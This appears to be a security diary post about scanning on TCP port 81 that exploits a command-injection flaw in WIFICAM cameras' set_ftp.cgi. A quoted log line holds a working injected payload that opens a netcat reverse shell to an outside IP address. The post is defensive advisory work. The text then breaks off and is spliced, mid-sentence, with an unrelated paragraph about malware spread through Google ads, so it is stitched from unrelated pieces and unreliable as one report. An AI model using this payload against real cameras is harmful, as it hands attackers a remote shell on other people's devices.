Scanning Activity Include Netcat Listener
This activity started on the 5 July 2020 and has been active to this day only scanning against TCP port 81. The GET command is always the same except for the Netcat IP which has changed a few times since it started. If you have a webserver or a honeypot listening on TCP 81, this activity might be contained in your logs. I have included the URL to the IPDetails reported to ISC that shows similar activity from the same source IP address listed in this diary.
This activity appears to be related to the Wireless IP Camera (P2P) WIFICAM against 1250 camera models where a command injection in the set_ftp.cgi script via shell metacharacters in the pwd variable is possible and demonstrated in great details here. If you have one of these camera, the original author "[...] advise to IMMEDIATELY DISCONNECT cameras to the Internet."1
An example of the GET request:
20200705-124822: 192.168.25.9:81-194.180.224.130:58732 data 'GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(nc 94.102.49.26 1245 -e /bin/sh) HTTP/1.1\n\n'

distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
